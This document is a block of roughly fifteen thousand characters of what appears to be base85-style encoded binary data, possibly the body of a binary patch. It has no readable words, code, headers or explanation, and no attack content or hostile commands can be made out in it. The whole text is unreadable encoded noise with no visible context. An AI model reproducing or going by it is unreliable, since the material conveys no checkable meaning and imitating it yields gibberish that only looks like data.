z2nsdC>rdjf%z5^NroIUZHNT$r^Uwe%e6l#dqe58`H2EaS|!j)TO)zmscp@w)ZAYMuOd`Y9Ji-JN8 z@mh$KoQE(s7OA=MNl>UEUW)DW-bF?gL46l#dq3gXq$ zQDd|AdMzl_5U-U;$+k74aJVHqJ0jl@Jtah}UYQ{K?OC$YZLJ* zyJXo(O|=$Ys3BgPk&@$;edDu~<5eFH6BKHQ*B0Uh*O_Z-zMxP;ytZ1r<}0sVfowTpN){IIf`rm6}GHN^137_ z)DW)&#B1<`UUf9}T2QDVUI&qaK7{R4*A*f2l$S?Q9z_lDIz+sRC9ktvQ+Wi18sc>r zDfJ!Vv)wH;Bq-DnucO4P{GqTX znwl#p)DW*@NXdCvD*uJan%XTW)DW-Z#H;xBhhdt!E-2IxuM@=U`scKln4C6JG+K-PiYKYeIpB@5U(>9uj$IG zlb}#Tyv`CY_+C#_!vuvI;&smAHB))b6%=ZS*LmW#DPhkgn%W^K)DW)=7Oxe`>!P4g zL%c2$ug8C^ucE0BfmE|ZKGf6`L7|3t-6vkqhnn&z!N&_V#Onc4#y-@Px1dl%ydDy->7W0}tf_i}LJjeH zgp{!lm#aRE5EN>N*JI)Z=WLpqDJawsuYZw}ec1Kb`R1D1FDTRyuP4N-|H%GJH1$MK zs3BfYk&=A~=WLovUXu4bYKYe};^i^tc#x(_3ko&F>p4=g4=1hdG-s0P!(c(7hIqXo zUP0mCo@r{Bpio1+URt~+Dz8O?LJjeHMZE4c>`+}(#|4EN;`Lfl&|lsI%hjB#yj}_l zHN@+UqVS!RdzoySN?eNfJZgy7TSb8)EW2OX?8+;@pio1+-YE*aGGu$dUsJUOg&N}Z z9w|9qa9w3KN$=<)R<6X+fcec;R2ja?0`A`>0P+O|=me|0`O?-;PK?ywX=%|F5Qo3ko&FDvQI7XK zYKRy7^$`908{m~mc@-2CYKT`-ip z{#|{!o~8y13N^$Fei5DheOTrL$5;F~(O)z*TTrMWUMYxIRLfo6G_^xes3Be{kxC=H zns=_j{)n1fMK22qHN-0w@d`*j=xJe`2LZxGK)agqrFkDAW)yFXEM;TCCfe8Yw8$5HI}Y zdG#AX@Oe~HHC{^ug&N|OlXx}B=}}WtM+Ai$;*|?2x%Prr3gz`kP^ckZxrtYjm4Eio zRJ@9Oyih~D@>sl5DX-juLJjfCOT3<~O8!Yx)dhtb;+4lk zqTCn-_XcWelb}#Tyo!=`!TYbn%ImzKP(!@@h}Y}e9Up7zi=a?Lyoy=84k@p!m3hyj zhIkbxUeWnej?$FBpio1+N)WGOZ6}2tR9+ngg&N{jl6Zab+Ve z`lG+5whIb1#H%#%I#*-&GELnR6l#c98KmUeo9gtxtu&R$pZ6hZh*w$SmGsZ=12t7l zP^ckZZe;<3bU3}Gtfr3H}@hYz^>&swahA%a2;@v4B7?87gS8%k?xk)TjR zyebl}aUK(|Y3hieP(!>b5wA_n3f9xq6G5SdcvU7|@x2ZY)>NV@yysCvy!?@p;}!Vu zh@lS)2?{mDs|xXI9T0oD_G&07)DW+#q+N}(2S#hEhoDeHys8ne8{gu@($ow=p@w)> zS6HHN>kH z@q%kAH032I)DW-QNWpm&Y-ye!8M;k*RS^_wh*urrwPfn!xmh4 z(yblJ>kmPphIrK@Ui}K3%c`lJfpVBGsv4fhrB`DMouLi^`s$S32nsTeg z>x~-X)ljtyR)At3Gk9w%x1dl%yaI^Vv}_ypYpS-OP(!>Lsdhna>i(EqdyDGB2tlES zcr_+ocXF)^*3|EULJje1f>b=-Y{#hy9oFnqUfTtQ8sgQIc>T=LyRN3L2?{mDtC^y} z4(@H=ue`np3N^&*H$_3uH*B||zNXSw=M_f{@oJ6~tWmIeZ42qRTX~fd6l#c93*z-P z)0NknY9%Pt5U-X<$#p(B;hDUe8Yn2#5U*CmD{n@R8Jb!oDAW+I)~a358>!z-sHUl- zf#A|qmJE=8QSWu`TUhR;Q zeV8WV!%0mw5)^8PR}k@vn)H{urg{kqHN-1ewF~;N)3_~bG&NgLs3BhMiC4iaA3Qa+ zUr?waULBMd^cMWa-6qwC4+Mo8;?fR2xB|hIn;GO0M%i9=2(>S$Pc+6l#c97vcqTLsRPng&N`&ij;h< zjD2ZN;7;XrLr|z8USZTL?e~qE!k>p{eTW+3)m60%=0@zl&(76U_FB;I4hL$8S2*!< z-*`7vQ`H288sgOrDR~~%>FtUHnhF&ZYKT_^@#-60I=iMO3ko&FD^j%!S`c0D#*&Sy z54Q>mHN-25c+JW;Gp?rY3ko&FtGn`oKKz{cpOTtNS{wWw4%85@9>lA|mhKUnDk~_| z5U-v{$v*74|I{8$brBS5h*vc6YO^3?IZe$J6l#c9FXaU-fMeNR_2E%Lp@w+%CSL2K z)~?XhLqVa2c=fS(9Z_Cxb->@@Kn?NgOT5zei=R_dSp|g};?)l+d3?dS=q}||R#2!R zUj2y|{C0$<0tJN{;xzy%xo*Jk!NyTuLj;8y;x&+X4antOuBrKgLJjd6Wbrzxy!HqR zHN9r% znu5P93>#{Q*C^7iQ>CZJ`b&AO6BKHQ*J$FkA?fS4nmQvW)DW*RNX6q-almI^6O`9; zL7|3tjU`@iZI7l>)#J%fL%hZzCC_c(8Z%9m6%=ZS*LdRfZiG*`raB4=HNXA!Y1C57mbc1%(>oHJNxF__IrXO(m(%`w%s_ zTZ}~tu|0Stfq(3LjYS~2j?7_^a1yx+5vNh}g+=5R%i-OwW9LZmw>73X(7-N4#HtdbC?qV3H6*HQYuP5zL>gyVM7%pK zV61(CCMW>yx3z%A>jH*b>jd7m1vIX$O@J<-0Iie3!B8htDnp6vI9XpdWkfsV43Z_f zv#`Wy=F{z!7^c4d1zp-w!uu&B{-~IutmTp z0_z)76L=hYz_x(LBf54E3xYxG9URe>^Z>zsC1c4<-K1*8c78=e9c^(@@GG9-rVi)s zV)TvUN(%m4-e0NYtgzZ(iD8=Jb6x{JE%d=7iSrcH1dEMc;vB>-~Xf!jgJAg%W4{Han z5jJJ!6@$smYZ42Y*CZA)uSqOqUXwUz=U`rwn9{QTu$XE60Tn&0Awt(57SYRtsb_81 zAD+~@DDc#_acy8*EEgJ+yA0bh=JkiUo7W!*S=S#fG_OBOYhGrQ+@`?g`oo|Y*B?w8 z(-{sE*sMP=!TF?QhpMr&NP+94P|H|;d!7~ilD9hyMQSXvPi}i00;c@T2OAWcj|GUC z4>yRJk2i>!4>*XKk2uU{KDZ!gI+7q{I+QR(k0l7{xo+-Z+oMS&w$5>p-o8Ma*q6&g z$6N&&x2IgrXQ)ez6B-0DzoLS|W=g}tY&)e%ftn(g*G?@n%{o%>OWtluiwt&C+E@e) zGj=nSDL?a+hC=g{hM0LuL(Dv-A!eS^5Hn9{%x9j`5Hw9`2$`ldhUk=rke+SkhT2YP zk=Q!NM0)!IZDL<8r>?mQGHy?~oYGL27^gG{VxH2Vpi?@sV@P}U#>_uDDk88!NQaJ5 zH3CD~OOQIF#d3zlROS*6j*JQk4U7t|9MXfO2HuJgCp2yLb734&c-Ola_HX}1<-%41YX_4dWM7rd5O10?1f0yNeqh@{{7P! z%0&WJb#~xM-Z17Of$MUefVEU6&PCrqww!u{HG6Ajy zFu9DUPcGBhtL>9pCaR%_#X%*HB$o;7{rH$$)7h)-le1y6m)jYke3_)V;QffeHrI`W8mz|I9DVF z&c2Luelc+NWt=M>17}}m>P*AAx2ZFYB_@as4tt@LuW}~NRLJY8``T1&9tu-2r+ri_ zO~sscSkqM*kv`nC> z(1`NaYL~CXcEwiQ^h(R81+I;pH zvu~79;i@u54bNh&j8Vh$h(+B{VWWoUiCJT6lp0PpnOw|rTZt)+-S=$9l^rT<^HrRD z+b$Pic4Fe962=nV72-9DWj2=aF0d~%)!BL`EURHG;bw)^WHOd|qOf#^MPca-i^9|yruQ10m&>cE(1^n4MeH*; z_KIo$shMp#=|@`y=|@`y&mqneY!y65ObV9`Q7`kZK3gP)_G;ISwAZ_Cvb~N_z&#wS87MU^Y`&cy^#v)7S84E3a zW-PRHm9fy$L&idLRju!WRaK2eX3Y3rm-{KqSY*b?`#%#$%6J0}$0jM|q^nZS8jd3y z)>SEI4KGwStgBMaitiV2ides3aaC&WD1Bj=dEOaH%#glx%nTVyERgM|MNoZxRWkW> z2a5ESVJ^;htOB#I`8qXol`ZAGdkxFJMZu>mp&=H9r6HzURV)oLms=ZRR#+QiR#+QiR#+QiR+t;2Ctr*M<4R^} zmMfv9b*_Y#M!FJO+UiPZZnC_b%EjSmE_Q{-*k3XU6`50+-fr_2sTT)RsS$?rlbGI& z+m^dbpw1m!y$L4i?A7+k4QFG9#_4p1a+eA0{amH9SKB1VZnl3@BkE^XxJqJZgtb^pmZM=MpaxE**KUU#ZLuG@e)U3^;GV#aLv$-i(TRLY{66)nS_eWsa)RkVLU^{L(rp2gQI1_{p+ql9NE^6M-y zN<`Pja5IwV+n5x#Nyu$Wwn?bMMUvX)8=PFEvg<veQq)O;5JDOcFWfv;#~cIqETr zPZaHL{Sw{dy4*g2;f(@sjVXbl+$KR4aYqt;6*8tU zD|o*a@`_2rD-yFtj`Xkd_{8Yts!@h^Tl)nYWl*?mltJUNQ3j36Mj13bk4>Wt8qp}% z_sAKvJl}tky6P+A+e8j_{~%U1t4wQT->Q_Ft%Z)(vY?7ga3VT|`rinY*1 zp+MRDRoAGCLYFg4-79Ld45N$Twl-7M>HVXos+$T;RX3IL9+Xu#6`EYxaT7z2nM+N+ z=3;7WE;Tu``4oe*xzyxrE~d`rQUSMzS1DF2*SEFuG{4r#qvh91p3(4ahkP@|K2Rbz z?Rv?hK+*t8XOiCS-zZ4xpMNXxS{bz z`ts#VlrP~x#J@*y*#E*g;;F;EI8f!H$B3i~ANSoJDOueuat^E$&;~uZRlaj!&UNetv#gvJ~<2^W`ON5(EuT z{D?mPxa zc}KnS-X>jg7M~_GT*-7v%Ug8tYoW{Rbf$KsWV&@Gon1TrA9vpZA4PTcJ)2!Zfaoq4 zH7a71s6h&b1Thel-CSUnY#`hO<&r=M66KQSf}p5@B)~dE!CGr=t7z5FR$hyjQoK|X zf=Td3z#Di)Ykfh`qO}&Rn(zNVXJ&SGcb075_Im+k0Dc_qMIr(>Ca zfs2sG*P{mGl=my(eiJEgL3K4mn9gHTA)-$4Hb?3e#k5Do8?9GpV#=O4a4g>aQ8<)~ z<&CgRQ8WHOjKC?qQ75UXm*f|W_ss}Q5BPJ(oR3Rh(e(4fJtqh9C;5sBrk$V4=JF-} z_v8N_#nBf(ihsmd>MbrEx1+$6+ll{|6a<3{;XH1^x|1Sj8E~_Y8UbSqF{yS{x z{A!FEbCy=GC^P)#$T`=r>g9`SmM*QGvvSnPIaAA*l%s!}Q&~2A`GRYeG0ND!$^u2{ zRQf9^%01{#jNhV)GQ8geoT=$khonxf#EViYZoq3#QuFX;L%c+^O4+IKFVbz$JxU`3 z{)_i)u-!QpuR~$2QC%HMI70b#M<5$(zlp-3n zvAHHm)#^Ij4yCo#J58-WnyP9CR4q8GNl^|#iqhD;YJjR~=KbIIpWXcT{aqbu{jSv6 ztxU!U{JWI%aOK;JUCLoxkq$)}DQ;0m!Ric2!cI8l01s zG~>#dzAJq*k*kb?tgb-Qr3glz_XUEh(<)W%OP|&ia2I@)FTW7%zU_|)cAr~El(t9Y zKG2k(wpcsl*WMz}VpV%hc&plU-t1=*lhvj`TBYzlGFK%&puHGq(sP`jh5~)vTuvId=wd~(!vDIA)|3n~v+4m2+1YFvj3>c_ZVAgHyt776MOTrU>X z{kZZa)h^|6T!#qiMO-CEC#ZDccNA9{M{gwlLgA-2iJBG~L#;Sf_$J|ck)Rxj2})vS z0`*FyiobN(_;(^kgCYlqAE)B*Bq^Se$%Tct;HL#2lrfb+C^u*aMr!~XFd4-DN7&N{_@eIUv9g( z#`qmD;JWe`UM~Hn$Ms(hY5p{)*Kc~Ra2|NH|39{tB|Z60`l4GC>grya@?Boxp(Fb* z+WXg~s|~&rIoD5|z9skc)xCcG=6kc=?BN7hdqHuK8t z<%4?kc`fm?Ss%|&ef_MJZ{BlO<_qahe7d$|jgh0%PyG4TyYHU2=B4MZyf?Gq)Z_E2 zaw^`+bN|!`_tGXFUa|0=WiCfo7jy4jR6f6Ect*x1hf*hftmYaE%juw2ggdLLmVh9q z(uGsm2P_)D;GmzaZzXKT$0OTn$hfWI_gB2qFmGV zn*MQjcql*O1x{cT>%f}`U#FwL2!-kQ5((yvjv7Tr3|^#eiHk#P=+nyyRR`yWxXQ@_ zM+~?u#vb*|=@1$Z>a<5&@0X=v#q<&wwm_!BHE`Xz(U{%>!@RI8AA4xm1<@Fe0Cr_) zjf)16)4@KIaozOzKMq98VK?Sub^SdaY=c0VxjPm(B%I7=Xr3Zz1|Il?^!eA19QZo)5yAbsWPu6$ya5OQ&?jc^ou1n##PyBNB`{%e z^%GpiHwfN&;y=09$dW#J=c#J3RDcC}VYknDBms zy_eI$8lfv5*YI+Pi=UpOBPN{d4EQ)5>`&;veC0P!g}C_nBRXQhWijpf(G;hn8P{;f zPkmID;iZJaBE*Aa6*Y^NS$)cu%&)E%{#M_LWs8<8$Pa2;$vA}DFlvhHOrjpD=UB;OpQ@0)*3PVN?2~yig8|mEYW$? zS5RXF>MLVmQR^IGetP|1<}V(fmshCzz0A$H(G?5L8qc1Tr{+y6@a1|98_EnCHEBYA z;p8IK=ap8Kmn%+LqesX!Bwo8)amvgdt*=jU#mOyJoJL@DzC_n>s|iCd`tuuWVa{g7 ziKgiwv9FRX;T4{`VX z?_3E%4_LACUtSJD{#0$M_b`5iY0Ux8#V(4{@jI+y74l3#zNN z!t~&VI`UxNJG+&wbTIy1Sl%%vny{kvsVS!d)CVj%$T_+mdE``-!?0YSAcsq#A(JX7 zhR{TCDPnp$RZdUYMhz#1d4$Ws+$s74w#|s9ZongP=Z@=l`LBQXRlx-> z{O<2PzNxEe|8CEJcI@-t+wrT*_ig_4M4wyk`_1OsbM~bjN;>QP`rXgG{{69qeO?HD zz2NP_iWPh7SEs&S`+9oj{EY8@_0%taKKLTX@w|7l8-LpNz#3!jZOp|{Qo{ZB&4D?5 zggfgjin)QVUu9S`YT#DL2(EV>03 z2gY#s8aUA0IeRFnEUPdL{t1(FRo{eyfLHGeOzUs5w|MfTLLYVu5CoG^j11#OXO0`0 z={3xE*?BEowQT-USlVS+-Y>ya1eU&7hck^}qqAcILZ&iqPSP17)H>rat>u$*g>2xH ziiQQf@yQ5E|ETrqH80_W3v5w`zW@(PWf1{k_n zxJhx~#)E$fa6gM9-uvT_$NG2>xNSO?!;fA1O5nc>n8EDt;bP^NcHJ-?BY?Qr$zwVD z;=pABmv4u&3~r2v$zKtHi!~#=8Ms?@tk5g&b=$~$Bu;tTfO{?udGEw2?_=P;h(lg7 zM^TH5mEQrtrRrESzm_42A`apIiU@iC!p!X*i2LRL#+e(}TmB8xHtdLI>r=59^RO57 zLRC~_Cv!tHyh3*!VRxNjcl*QcST`ZQ<6(Dfh?uoyx3bS-C+-rHGuk08h1MpgT`sX3 z$fo2{hT}R;P-Af&BdCeEa-%FlH6bDqYH2T(1z6ScLn3HdR_y zQ#MCbq+C)QhRwO9%aHwSC~f*_X@6@>l^2ULGc3-{cVMoJv-6EB^GUytdhk zl<~L#cC3f`#KH-u@PK1(ouB5-+Rdt0+}lBKsJ{kPy~urTK0U-u^C6d1|xNo&?jdOG}9GisP z+?Et;FIV_kS1UOF8;%V|a!86Cs_?UNaO5@|o0H^_6gegdKZnbqxE4qpZ8XCXAvq+) z>vZ8~EC-DJ!=$GJ?|*#8#;rFzbXEEGp*Jj-eQo@HbkVWPewFZExv|A={4Tg|UqRrv z7v68+j4k#@Cfrcm_P3^l9zS&c{<+7tJYwLL&9lB(bmR6D#uogD{ui$5n37v=EJG+m zC;e_q#hNk3{ebr5VG9PPH$T!*zH!R%x2~A7`B%FdUwYsyaa- z)4{r6_xjeb{Z-QXA=ogqV=X^;2!ea$#y3#?R9iZ>9XfJ{PcdoDIvup7>2CSt-JgfJ zvZbf7{9sw?NJNO7rV}#c;<+P3T*g8IG2wBsnaJ&a=5XvU`iFLQ&Fy1>37e)1?Q<}l zbiW<-Y+EQUBvv?L5SPUQr!f=SOm8~(nZL*~v|?y{bcbOLI2~+zY|7JH9<7U(BbNl2 zC%Vv)32R((0pR2q4xvs5s!haoZuL}Tg0WiV$jQAS$39=w0a-h&|Io(0RSw4rr-Qu^ zV_2PBxj8znegb3Y&fUZA{bMwS>$0ITw9h*wI31a|(#;)vV4al1yKTG(m#S;)Yleqn z`1~o#2VIu#49wZOPv}TMhVB#E?$6VG`YQ%kk?s@Pl%K8pcudT4-Dd!NWVx@?efpX{ zcj`XFhnCa0-QU+-7&Er} z1tx4cO{{7=gnokm+K&=9hPb}aN&z;sbl3LR z3ulD5QgkkX3Cq`+g3B6L=#apVbS{Aji;HGvD6VT?{^~Cwu3Viv0K8*dp9Hg6j~j;cgu`B28Ii&Bx~*KYpUGsMwb$ zHfc*j)~>l?q)zna=H`yiEy^wWXBL`@yaAu8=H>?`>f684e)Y`F$#yZs)%^& zfSUr`ULDKPORSYf9v-txsSY8&6-Krgq%Ls#jnXBVy&)VUB z2LDE22GY!dW4YVmnC>MyhB!JqTp9AQ9JqZ{95}N+BJ#T$VLzftWN~)#GLXSXfZNX@ z8;)Y_a0T$+hyi*p2Whxi`GxVOoB-xlDg<1t{QeSQ?*Oxc12J4I+`R~E17;zIUN{qH zu}J98dV5O8@SZN#nqV_B(OojnK=hMjrF=Mx62v0(Z0=Ob*~r_eV?+XRiB*34fcqd0dEdn;FBwK!3JoSPI;?=+t7_X20t99yq&( zDE1+~Wq{3*!lNSe%R@w&58er+SO?^m#peR@HXhT%Lwy3MYD>~oW7kTnNh?*6}C@lqGwWLo5bR8@OfpaR;9s`eJ{ z0@|^zP0aw*J)4F!D7E=U{HhiuXupl1rU{FgK6SB>+g4904ppm9!7m=ht@V7fp60xx zrl%T|p279m@ThzC0>)R<->)|;+iX{Qd~K%xx|@s&X8P66Rti%{SsFxwbEhI5-5n~Nh(zE`~!;6wOV)@&%H ze&S#3Dbpa{gMWDtSSILP+{=Xj2$WZZ+Vv`a4UZkmj>W!L;eMB@oe=S=T1Tkg=(Ki2 zRH(^7nhGT!D~2km!6&__SU#`om7R^~W!R6XU0W!YO=dU#BYP8>e6|^{2vu>F^)nNc z%;q9c61NPLte>5TjZa0h>-6Yd=cNcm8V=CUrt#GwG?c^RI*A;H(9Gc)z|0)VCZnSK z8oS&L?<1&fJ-0a(_sr(@^wA9iJv<8vq}DJkw4qyPcwen z*LUK|DsEr@hDpgaYx=!s`W@6MwSE031{qv`6r`%%F7|7K_kE4K;C5^+V$3fs#1ZpRBcX#713nA?lrK`x+xf+GdtSKx@Hvw5MuLKnpSh`P$~= z@b(XF@o6uquOIhm8<;&{`c|KYXX{6*T`lN<{{E%fg^ldrwH)cC=Cs^2NNw^t1j9kU zv&A2*V(!=nkU}I7L+~6sJ$gcf${`qy1>LA9 zVsx5T2C5Rf6H}Gs!}fmdHc?;t$n4(Uk?-Dq{F?)Q?X|P_WqrQpV`u|X`Pu*L~-U!AGTDFgeJg zAmljPgTBlo6J(pmkdaRq2lS{s(pKx*)PW#Y>kx9#x$qxKgQOUjluMbkW({X2 zw*rB9p@=JVqKVe6;bwr4Ih7Q1Mcn{LMERUyu;7=Lw&ao&xoU-9Wce6eOtZwYd?Yo% zoMGJc=XQN&drzQxE z*le)jccwrwHc2tZ?9IXHPE_3Bbc549wU6NB-iYC52^2XcMb0MSXRQ;?Q4Dt#2wA$4 zBF9gJpJPChG5|U|02(*|@eP>j5%K-ZV8!p%0?GI!Med&qKgXbCWl+s2%Ake#o!&zv;e|1X3=cNm-uE>1zAJ4qmHrzS%=o9V_Zhd_EPxdAr zo0)dCa`}>@RV90$NI8G-*p(l?boYy2ChdM`XvT?~N1Ss@TZy}_SJM7JJ$Aiu81b%( zcMp$y;XvbwsaJe<*UEXf8;22Be=~F9^s~JmJ~p~;b@lSjVMn(OSe$iP?Ni(S^wT?s zK6G92j_=Odx@!E{Kk2vh_6wH;pYT7S?EN7j?e|0fP;}{k{<^=f#~B%OuWlRto3t6{ z+?um>(87Q0syHwAwCC3z$^7+Q_fM|L)NX9}#S=G{PJP%oyg2Bgs}fILxb_@_KXvBB z6$1|qU;pX{zZ;cVJZQp8*K9a5p<~?Je^BrHQ{!WM6|MEbSI&7PaP_P!eb0RNcEz>- znEvOwGcI|&<-pvdHxys{K>5SdKHt_i=caEA`BRT3bfqobsTMu@e`e$?+xH)5kEvVx zrEkXvo5tLB@P=t+`%~wwxhQ$T#@EYEl>H@r>zFIQ{>@E4ZtJ{%fb+xWmM&TI-u+Kp zF~UFSp$A_)IKSqL3w_TvJod9o{x<9FwkHgE=l=QT+g23bHPd(c^&k6w`J35?SLY?% zcgN38TzGL=+3h#q`{5@K49n53e`nIcxxd+T&8&x?`gQJU!SmY3JX#jGWMj^NE#-!C z{`Vc)JZ3~;{#v)ioooP(Iz235Lg8#|W9oNooOHy5ABkj0tb>#}WPu|loT~?XoQ{4B zgd5V3`Ee*NL@OLI;arLEaXL5<(H*@pCo9Cofq{;gaIT*4aXQ%0={#+(b9+|aD8JEv zi3#Uomk>Ix_PbrLAUOut`#Kjf;IeF?b6ef%U{^z`^iOjRi_VMvU)~n9~IY6(I6;YH`}l(HLrl(?R2g`I(@{RJM)`akSA>$7MI^K0M|s$;WgbkLlB*`-D>X zitgh!G5@Li3^0BEuKVyvtt5M~vxGYhK9W3J_mKx^t?$cX4T|?=jS?)lP&dMTScAd` ztw=iRM)+H{sJ-DBwjJR!Qu4^f`S3S!2_r}xvL)u-IX$XV%wwgO=xLUQlJ)hrX9F8L z!n!s4jb}n!ew|BT!j7;G6kI}MLA~(e__7e!0-Z}>!j7<>6BgIA2ls3aaowbI2~1dA zoXyMkZV}?$SMLmQ-K}#8Ojum!hQ+mY{etok*ONMzz=Xw>D!ACT=y){ubh8X!)45U+ zf}Y>9^?x3H%;U|$S8kdg;yR>r2~1dA=bKz0M17rU#^un5YJmxhYp}^h!I{}NuLyA& zFZmIeu(;9$mr-Bmy?FF@A+Ah4E`bS)>w>VjrajaH=canVk1n8d2~1dA7a}xNUmxrn zvM0o~Naqrmu(&P~Tw+`UHR6IBIzn7^I+wtN#g%Tx1w!%P-gn~}W(x1oxdbLGt|5ZU zh->*%7yl{5^`y=vFkx|VaVzxxxBRnbujy~bWjuH;Fkx{G4U6mO*8aysTz}Hz5}2^K zek8c8dgw9Z`c~%>n6S8pg~hek_xYR<*J*mi2~1dA!v&XNkL^C^%vGVo`IqQi0uvV3 zC1G(L`eVTbAuhkpB`{%eWe6_z40NND%bz{X%+~^)OJKs{8UbvmeNE4u+AqYlTIUj& zu(&b>myxdr>$lz!I-GC3gk505;({@1iK}(v4_Ae_9@pa%n6S9mElZo0tuS*vF=3s~`k%lvzz=Xwh8GJ)=eevVG znIW#hI+wtN#g#3%j54Hdgx=HW)wu*FEUwXEam{^r%Qqpe5}iw6!tCcUf{S(*-EWWo zfaK`IvH4RQTzi5U$W$FtNzzSMkD> zacOzutH)g$eky3(rSe$NxREB$WfO~Yb0-(%PxRtM%(&4wD&&>RI(i(IBQr*tRqte< zFK^Ohyky1xaE&QE;4M;%0(p7kb?Ne?jTt;DPc1H(m^(S&YXn&3@u3#|9hX?AGG26J z_lg_+MVI2mk$eNEffWyMKnh-pbMjYY%1qjc{xMP}-w8QiypWPdsf@>O@Vd?A%f#1h z@rfKh@Pa%2!)5=*1-QuNw#D<8EyRKx7U;waHSxaDs`AR^c+rn2yYR(0CZnQStjk$T z*6!h)W%xo!30~WeSM>{M^tzu_HN#ZIID}?A{1Tmc{aG2C0OMmdHbKI`OdFAA6C}AZ z?SdqiZIJ#L59LuaL^j3Zs3mz30T!09wNeX5xW8?FEDsh%WJiS9=ElMkkr@$UNtl^r z3rkoYtqda57L~F-#bouiKJpZ*YAyL31&~4 zo9CV6^A)Ip3B>|s>IC&Wgv#}fFY-^w&&>~n%YuejL3#dsfAJ($4Hp##%JUZZCr$K^ zS99eUV6D}VD4%yy@r2y`yor+}Dx_f{Og=EhfkNM;@e&iJQ(lGd*UG+hgnVNbuid?0 zD=X`=%Osl5$n_J?$o0TXf@T_>-7|8ZL=OEi-mlf4)~&^PZN9CTXC@YJ2)4L zwr=wB?LGf2FS{3mH~i$He(dV!%!l@wIHkigSnt;O^bh~2T3!+}IHGPPvNd?kN*B-1 z)t-ez+v)juJ|Gyt$w!ef9RJkb>?%%GwX-3hw$1J+Z{)#AYxF+tnD!Zt5Ht2%_qh#7 zGf(iu6Ftl3UyYu*|HCmo{(mm_EZ(@Hk97cm-L2u|nksW7DJtEC_{RZ}7>72j+~*4< zxg|wzxuzBm_h6G-QskDaNycl5zF+@;K6voUj-Ow*HqcOe1F#A8<@M$!L-DyZp?Ve2- z$e13wsq#ncP0Mmvp!@LkFVd$<_X)j@X07hSw<$}^X5A;r^x2~O^b|h)A`DkE>6kCM zdu8}Ah2cKTSNL94GJHa30K(T5e}^zSfeBkzl>67xA1`jIudEHNE4E7}@f{&(l*PD_ z``6Yr%+L#AKG3-YCM>SdjyCm}afP_P(YXXBEG`d1!t>SJT;JvqVmg5di;L@!p|x4Y z72>);=MtE(RXeUIIvq5N!rfSK)Gos^5KbkPFD$88&N<*hV`U~hupg~2P9g`q2!nPBUxi8T^^b{H9V1l*Jw4i9~NN0f>GUsjI0OF#hoxXZi(B?RtLhr zANRd1&MtjtB7ArpICh;A;=pm3ni7SJeq#y;!C7(OC~s~YIClRFqj1snmJHm|IB-ng zswf=t5m6s(UN=YJ>}LBDfLjAxhmNIuyLzJ@d>bLpuHKFTmy&_wHzPp6QJ&q~xmkW= zbPREHV)h%6j{(ptUj)uB9~$^)z`i_)e>yWC5%OL}SU>DfzK?&pShycxXSp$ApQ2kw zG`sBL<*~0z4GT(0w8sqv?m_O(S)84`288dye%v%J!@$wtu)_u6e~peIj?NCp{2q$~ zcMovSVsCE76_gaaTvi}#y^aw;TJR+c-QY0;ryN!Q1Ren0QzIM(|JU`FXURF7@E2N2)|=F9>qk9upDz6HRQ0Mj!5%``g#GERET3yfs^ANNAPtzMk4Ly@tDNG zA}j^qpAO<}<7LyG224XYxaWbp4Vb_r5OA^dJ`G`|z%=N%Sn)c6yG_SX9-Upec;LSo zxcj@2N8F>pJlhSB~*P{Q{U2CIBv0yrl@62+VJF9QDVpT+oD+4q*Dv0s$ARTxKKe z9AH-JxLD;<0o)c~dR;|nvHLZ4;THi@rsHDe_m4=>^}vi|0^m-?zg<4qPc-Wo;^^#f zec-=44jkpZ5eJU?_I@0=6yW|G2afW-j{|oRa6RT=0So_hvFgo-uu;HV-wh63xUvSA zj&5*lX8VA-a4rbASoKD;WsHsyKwRwV<4pK30j^QU#>&S?;BE(|Rma8BKNYwmz+}w> z0T)Z2hOoCkbp+7XALZ-L1#p|sfYMj>nxFb&<{76Eq~Fkg3rqaOUAV?YXLSAN40 zl2|IkjjJ7w$q6u{8!+bfT=5!@)BamqbYu; zj*&?FcsZ|V1#V9_^3su@KLOLHTuO_Tk7rTw_@1nidY!~^iBRO%vY^C}0r;PzV|Y&& zYj>*>xYat=Y2YH{rNaN7IORP9Tw6Et*uQ)dr@ZfgOIiX3xLE09IbWz_1Q3^4`OO6G zia6xWiBsNU;A-NKcSoG^?gj3*amee4Q{EfE9qdM)XuomFOI(UM9RBHI)d%He=okUS zC02c81D79%yajQ}yB4?=amc$fPI1l_h{V~*YX;_(NL++GmfvTe_g zk(aVuQPS{F7c0M%mkZ3)NSuwlN?=w;;v&+=`nX5OFkZS?_3;33k98xD>3bzkdG7&t zs2h3gPZKM#1%-b)vs`TQI~Eu<5*Lx*fsnBXn6;5O8+luR*&2z9kjL_SNyjjKbg{~B zA8;RZBaiy`9Wb6B3sEP{?{HwoMB*aSM|rb=SrUn}$?vVe+!cw7ke3R1PXY5rB+f?O zSHS!biHnfufxLlLu%Gcyce47O2+Wm{I2(C2z%)eSY|{4tFpovzY~;NH%zKeI8+qRX zlUN;*j|h3Jk2GMibsX)rSo)F+%%pDQQJ#I$;0Ec~Souu_|5#w=MB;4HcLOl%B5@JvV}2h5=BY@Wjl6xp zd=QC?kVpOdPRD>0E>?aAT#q>s{^?@nm*sbbjuAjyV#%8b+?CzPV|%NKQ{HOeHgqG8 z>3cX%c~1cMd^hr#zW3sk_X%*vx{)^k@=jfei^at%zw?0`u47}>2h$gbQ{HsoO1qKA z^xX{19g#R2{o4l2bCI|R{iD2hfcYX4XCp6p71lfPPZuk{Y#*b586SzWk+%?-%1B&9 z`Y7)&0JXWVIwacn30jV2zhKDQ-N6! ziL;Sc2h7GuoQ=HS0`p8H&PLvTU_Ob&*~m+{3F|8Or!(u#MqUOmV|frBQ{KnGebJ3PrZ4#xBW3b8R{uNzxKtf$mUBe; zQQj4C${P>d)Hvi-#wl+la1C+Ddmv7EzXfi4H}cpYyb-6oPk=iXhrCnkWIY(ySoJXo zxQlgctoj%TAu2EnBXKtEZ7ndjMdBjrm-*ca%yW@A8+q>l^Jye5LLT+SwFVc9i(rJV!Zp(tGRIWq2B^;nCG z#ffr>NMB!sCr9C;<#B)KoG4s$`g#L5I0^@O5l<;CMnMmY!2SRDl#+Y~{9k@bi5~$O zBV`SfPmo7ET`nHvT)42xI9luw(3|?bCx0b%6*`PVY)kkG zfhxbIk@XGV(VlJc)ud%u-`cM>X^#*e%!7C6^9tHFc$zO5ez~oF9qt|aXByh-*(4m` zSxix>GDaE8DF_j7Kh7}T>nuMJfQ?xCtLeH7@!^9oUJD+)Iv%gFwq?+?{g9`#m}q=A zMAcr8NYg(jSG>%;1}`(O-{mc7?T1Ks7Q-bTR&fjJ0$jP@>=F+MeI=-|xU%nYDLhdy 